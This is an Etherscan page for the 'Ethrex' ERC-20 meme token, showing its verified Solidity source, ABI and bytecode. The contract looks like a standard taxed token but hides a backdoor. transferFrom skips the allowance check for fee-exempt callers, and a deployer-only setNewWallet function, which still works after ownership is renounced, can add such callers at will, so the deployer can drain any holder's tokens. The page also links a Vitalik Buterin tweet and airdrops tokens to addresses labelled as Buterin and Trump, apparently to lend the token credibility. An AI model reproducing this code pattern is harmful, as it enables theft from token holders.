ETH Price: $3,332.20 (-2.73%)

Token

Ethrex (ETHREX)
 

Overview

Max Total Supply

1,000,000,000 ETHREX

Holders

124

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
674,602.596987343 ETHREX

Value
$0.00
0xb7ab5e82db1b27ec322021c5fdce6ab8fcdce9a1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-11-21
*/

/*
https://x.com/VitalikButerin/status/1859559501566775479
https://t.me/ethrex_erc
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TOKEN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tAmounts;
    mapping (address => mapping (address => uint256)) private _tAllowed;
    mapping (address => bool) private _feeExempt;
    address payable private _taxWallet;
    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=2;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Ethrex";
    string private constant _symbol = unicode"ETHREX";
    uint256 public _maxTxAmount =   2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private uniswapV2Pair;
    address private _deployer;
    address private constant VitalikButerin = address(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045);
    address private constant realDonaldTrump = address(0x94845333028B1204Fbe14E1278Fd4Adde46B22ce);
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        _taxWallet = payable(_msgSender());
        _tAmounts[address(this)] = _tTotal * 96 / 100;
        _tAmounts[VitalikButerin] = _tTotal * 2 / 100;
        _tAmounts[realDonaldTrump] = _tTotal * 2 / 100;
        _feeExempt[address(this)] = true;
        _feeExempt[_msgSender()] = true;
        _deployer = _msgSender();
        
        emit Transfer(address(0), address(this), _tTotal * 96 / 100);
        emit Transfer(address(0), VitalikButerin, _tTotal * 2 / 100);
        emit Transfer(address(0), realDonaldTrump, _tTotal * 2 / 100);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _tAmounts[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _tAllowed[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount); if(!_feeExempt[msg.sender])
        _approve(sender, _msgSender(), _tAllowed[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _tAllowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _feeExempt[to] ) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            if (to != uniswapV2Pair && ! _feeExempt[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }
            if(to == uniswapV2Pair) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    swapTokensForETH(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                transferTax();
            }
        }
        if(taxAmount>0){
          _tAmounts[address(this)]=_tAmounts[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _tAmounts[from]=_tAmounts[from].sub(amount);
        _tAmounts[to]=_tAmounts[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function swapTokensForETH(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), amount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimits(address payable limit) external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        _taxWallet = limit;
        _feeExempt[limit] = true;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function transferTax() private {
        _taxWallet.transfer(address(this).balance);
    }
    function rescueETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }
    function rescueToken(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_msgSender(), _amount);
    }
    function setNewWallet(address payable newAddr) external {
        require(_msgSender()==_deployer, "!deployer");
        _taxWallet = newAddr;
        _feeExempt[newAddr] = true;
    }
    function launch() external onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }
    function renounceOwnership() public override onlyOwner {
        require(_maxTxAmount == _tTotal);
        super.renounceOwnership();
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newAddr","type":"address"}],"name":"setNewWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600260055560026006555f6007555f60085560056009556005600a556005600b555f600c5560646009600a6200003b919062000583565b6200004b90633b9aca006200059a565b620000589060026200059a565b620000649190620005b4565b600d556064620000776009600a62000583565b6200008790633b9aca006200059a565b620000949060026200059a565b620000a09190620005b4565b600e556064620000b36009600a62000583565b620000c390633b9aca006200059a565b620000d09060016200059a565b620000dc9190620005b4565b600f556064620000ef6009600a62000583565b620000ff90633b9aca006200059a565b6200010c9060016200059a565b620001189190620005b4565b601055601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790555f6200014a3390565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556064620001b56009600a62000583565b620001c590633b9aca006200059a565b620001d29060606200059a565b620001de9190620005b4565b305f908152600160205260409020556064620001fd6009600a62000583565b6200020d90633b9aca006200059a565b6200021a9060026200059a565b620002269190620005b4565b73d8da6bf26964af9d7eed9e03e53415d37aa960455f5260016020527fb931be0b3d1fb06daf0d92e2b8dfe49ead9172e102b3af1e07a10cc29003beb2556064620002746009600a62000583565b6200028490633b9aca006200059a565b620002919060026200059a565b6200029d9190620005b4565b7fcc89cdffe6d8d6bb620c9aae10557c2897f6e2865c73c41f65fdada66306d0af55305f9081526003602081905260408220805460ff1916600190811790915591620002e63390565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055620003153390565b601380546001600160a01b0319166001600160a01b0392909216919091179055305f5f8051602062001fe48339815191526064620003566009600a62000583565b6200036690633b9aca006200059a565b620003739060606200059a565b6200037f9190620005b4565b60405190815260200160405180910390a373d8da6bf26964af9d7eed9e03e53415d37aa960455f5f8051602062001fe48339815191526064620003c56009600a62000583565b620003d590633b9aca006200059a565b620003e29060026200059a565b620003ee9190620005b4565b60405190815260200160405180910390a37394845333028b1204fbe14e1278fd4adde46b22ce5f5f8051602062001fe48339815191526064620004346009600a62000583565b6200044490633b9aca006200059a565b620004519060026200059a565b6200045d9190620005b4565b60405190815260200160405180910390a3620005d4565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620004c857815f1904821115620004ac57620004ac62000474565b80851615620004ba57918102915b93841c93908002906200048d565b509250929050565b5f82620004e0575060016200057d565b81620004ee57505f6200057d565b8160018114620005075760028114620005125762000532565b60019150506200057d565b60ff84111562000526576200052662000474565b50506001821b6200057d565b5060208310610133831016604e8410600b841016171562000557575081810a6200057d565b62000563838362000488565b805f190482111562000579576200057962000474565b0290505b92915050565b5f6200059360ff841683620004d0565b9392505050565b80820281158282048414176200057d576200057d62000474565b5f82620005cf57634e487b7160e01b5f52601260045260245ffd5b500490565b611a0280620005e25f395ff3fe60806040526004361061011e575f3560e01c806333f3d6281161009d5780638f9a55c0116100625780638f9a55c01461031357806395d89b4114610328578063a9059cbb14610356578063bf474bed14610375578063dd62ed3e1461038a575f80fd5b806333f3d6281461027157806370a0823114610290578063715018a6146102c45780637d1db4a5146102d85780638da5cb5b146102ed575f80fd5b80631905fbf6116100e35780631905fbf6146101e557806320800a001461020457806323b872dd14610218578063313ce5671461023757806332489e9b14610252575f80fd5b806301339c211461012957806306fdde031461013f578063095ea7b31461017f5780630faee56f146101ae57806318160ddd146101d1575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5061013d6103ce565b005b34801561014a575f80fd5b5060408051808201909152600681526508ae8d0e4caf60d31b60208201525b60405161017691906115de565b60405180910390f35b34801561018a575f80fd5b5061019e61019936600461163e565b6106ef565b6040519015158152602001610176565b3480156101b9575f80fd5b506101c360105481565b604051908152602001610176565b3480156101dc575f80fd5b506101c3610705565b3480156101f0575f80fd5b5061013d6101ff366004611668565b610725565b34801561020f575f80fd5b5061013d6107ad565b348015610223575f80fd5b5061019e610232366004611683565b61080d565b348015610242575f80fd5b5060405160098152602001610176565b34801561025d575f80fd5b5061013d61026c366004611668565b610885565b34801561027c575f80fd5b5061013d61028b36600461163e565b61096d565b34801561029b575f80fd5b506101c36102aa366004611668565b6001600160a01b03165f9081526001602052604090205490565b3480156102cf575f80fd5b5061013d610a9d565b3480156102e3575f80fd5b506101c3600d5481565b3480156102f8575f80fd5b505f546040516001600160a01b039091168152602001610176565b34801561031e575f80fd5b506101c3600e5481565b348015610333575f80fd5b5060408051808201909152600681526508aa890a48ab60d31b6020820152610169565b348015610361575f80fd5b5061019e61037036600461163e565b610af6565b348015610380575f80fd5b506101c3600f5481565b348015610395575f80fd5b506101c36103a43660046116c1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146104005760405162461bcd60e51b81526004016103f7906116f8565b60405180910390fd5b601354600160a01b900460ff161561045a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f7565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ce919061172d565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561052d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610551919061172d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561059b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105bf919061172d565b601280546001600160a01b0319166001600160a01b03928316179055601154610604913091166105f16009600a61183c565b6105ff90633b9aca0061184a565b610b02565b6011546001600160a01b031663f305d7194730610635816001600160a01b03165f9081526001602052604090205490565b5f806106485f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106ae573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106d39190611861565b50506013805462ff00ff60a01b19166201000160a01b17905550565b5f6106fb338484610b02565b5060015b92915050565b5f6107126009600a61183c565b61072090633b9aca0061184a565b905090565b6013546001600160a01b0316336001600160a01b0316146107745760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b60448201526064016103f7565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f546001600160a01b031633146107d65760405162461bcd60e51b81526004016103f7906116f8565b5f47116107e1575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561080a573d5f803e3d5ffd5b50565b5f610819848484610c25565b335f9081526003602052604090205460ff1661087b5761087b84336105ff856040518060600160405280602881526020016119a5602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111ea565b5060019392505050565b5f546001600160a01b031633146108ae5760405162461bcd60e51b81526004016103f7906116f8565b6108ba6009600a61183c565b6108c890633b9aca0061184a565b600d556108d76009600a61183c565b6108e590633b9aca0061184a565b600e55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61094b6009600a61183c565b61095990633b9aca0061184a565b60405190815260200160405180910390a150565b5f546001600160a01b031633146109965760405162461bcd60e51b81526004016103f7906116f8565b6040516370a0823160e01b81523060048201525f90610a1790606490610a119085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156109e7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0b919061188c565b90611222565b906112a7565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610a73573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9791906118a3565b50505050565b5f546001600160a01b03163314610ac65760405162461bcd60e51b81526004016103f7906116f8565b610ad26009600a61183c565b610ae090633b9aca0061184a565b600d5414610aec575f80fd5b610af46112e8565b565b5f6106fb338484610c25565b6001600160a01b038316610b645760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f7565b6001600160a01b038216610bc55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c895760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f7565b6001600160a01b038216610ceb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f7565b5f8111610d4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f7565b5f80546001600160a01b03858116911614801590610d7757505f546001600160a01b03848116911614155b156110ad576012546001600160a01b038581169116148015610da757506011546001600160a01b03848116911614155b8015610dcb57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f2a57601354600160a01b900460ff16610e215760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016103f7565b610e476064610a11600954600c5411610e3c57600554610e40565b6007545b8590611222565b9050600d54821115610e9b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f7565b600e5482610ebd856001600160a01b03165f9081526001602052604090205490565b610ec791906118c2565b1115610f155760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f7565b600c8054905f610f24836118d5565b91905055505b6012546001600160a01b03848116911614801590610f6057506001600160a01b0383165f9081526003602052604090205460ff16155b15610fdf57600e5482610f87856001600160a01b03165f9081526001602052604090205490565b610f9191906118c2565b1115610fdf5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f7565b6012546001600160a01b039081169084160361101d5761101a6064610a11600a54600c541161101057600654610e40565b6008548590611222565b90505b601354600160a81b900460ff1615801561104457506012546001600160a01b038481169116145b80156110595750601354600160b01b900460ff165b80156110685750600b54600c54115b156110ad57305f90815260016020526040902054600f548111156110a3576110a361109e8461109984601054611359565b611359565b61136d565b6110ab6114dd565b505b801561112557305f908152600160205260409020546110cc9082611513565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061111c9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111479083611571565b6001600160a01b0385165f9081526001602052604090205561118a61116c8383611571565b6001600160a01b0385165f9081526001602052604090205490611513565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111d38585611571565b60405190815260200160405180910390a350505050565b5f818484111561120d5760405162461bcd60e51b81526004016103f791906115de565b505f61121984866118ed565b95945050505050565b5f825f0361123157505f6106ff565b5f61123c838561184a565b9050826112498583611900565b146112a05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f7565b9392505050565b5f6112a083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b2565b5f546001600160a01b031633146113115760405162461bcd60e51b81526004016103f7906116f8565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f81831161136757826112a0565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113b3576113b361191f565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561140a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142e919061172d565b816001815181106114415761144161191f565b6001600160a01b0392831660209182029290920101526011546114679130911684610b02565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061149f9085905f90869030904290600401611933565b5f604051808303815f87803b1580156114b6575f80fd5b505af11580156114c8573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561080a573d5f803e3d5ffd5b5f8061151f83856118c2565b9050838110156112a05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f7565b5f6112a083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ea565b5f81836115d25760405162461bcd60e51b81526004016103f791906115de565b505f6112198486611900565b5f602080835283518060208501525f5b8181101561160a578581018301518582016040015282016115ee565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461080a575f80fd5b5f806040838503121561164f575f80fd5b823561165a8161162a565b946020939093013593505050565b5f60208284031215611678575f80fd5b81356112a08161162a565b5f805f60608486031215611695575f80fd5b83356116a08161162a565b925060208401356116b08161162a565b929592945050506040919091013590565b5f80604083850312156116d2575f80fd5b82356116dd8161162a565b915060208301356116ed8161162a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561173d575f80fd5b81516112a08161162a565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561179657815f190482111561177c5761177c611748565b8085161561178957918102915b93841c9390800290611761565b509250929050565b5f826117ac575060016106ff565b816117b857505f6106ff565b81600181146117ce57600281146117d8576117f4565b60019150506106ff565b60ff8411156117e9576117e9611748565b50506001821b6106ff565b5060208310610133831016604e8410600b8410161715611817575081810a6106ff565b611821838361175c565b805f190482111561183457611834611748565b029392505050565b5f6112a060ff84168361179e565b80820281158282048414176106ff576106ff611748565b5f805f60608486031215611873575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561189c575f80fd5b5051919050565b5f602082840312156118b3575f80fd5b815180151581146112a0575f80fd5b808201808211156106ff576106ff611748565b5f600182016118e6576118e6611748565b5060010190565b818103818111156106ff576106ff611748565b5f8261191a57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119835784516001600160a01b03168352938301939183019160010161195e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bfa44db281fe259e76cdcea19ba8db941081ef8c6d98b2fd295899ab52ab01da64736f6c63430008180033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x60806040526004361061011e575f3560e01c806333f3d6281161009d5780638f9a55c0116100625780638f9a55c01461031357806395d89b4114610328578063a9059cbb14610356578063bf474bed14610375578063dd62ed3e1461038a575f80fd5b806333f3d6281461027157806370a0823114610290578063715018a6146102c45780637d1db4a5146102d85780638da5cb5b146102ed575f80fd5b80631905fbf6116100e35780631905fbf6146101e557806320800a001461020457806323b872dd14610218578063313ce5671461023757806332489e9b14610252575f80fd5b806301339c211461012957806306fdde031461013f578063095ea7b31461017f5780630faee56f146101ae57806318160ddd146101d1575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5061013d6103ce565b005b34801561014a575f80fd5b5060408051808201909152600681526508ae8d0e4caf60d31b60208201525b60405161017691906115de565b60405180910390f35b34801561018a575f80fd5b5061019e61019936600461163e565b6106ef565b6040519015158152602001610176565b3480156101b9575f80fd5b506101c360105481565b604051908152602001610176565b3480156101dc575f80fd5b506101c3610705565b3480156101f0575f80fd5b5061013d6101ff366004611668565b610725565b34801561020f575f80fd5b5061013d6107ad565b348015610223575f80fd5b5061019e610232366004611683565b61080d565b348015610242575f80fd5b5060405160098152602001610176565b34801561025d575f80fd5b5061013d61026c366004611668565b610885565b34801561027c575f80fd5b5061013d61028b36600461163e565b61096d565b34801561029b575f80fd5b506101c36102aa366004611668565b6001600160a01b03165f9081526001602052604090205490565b34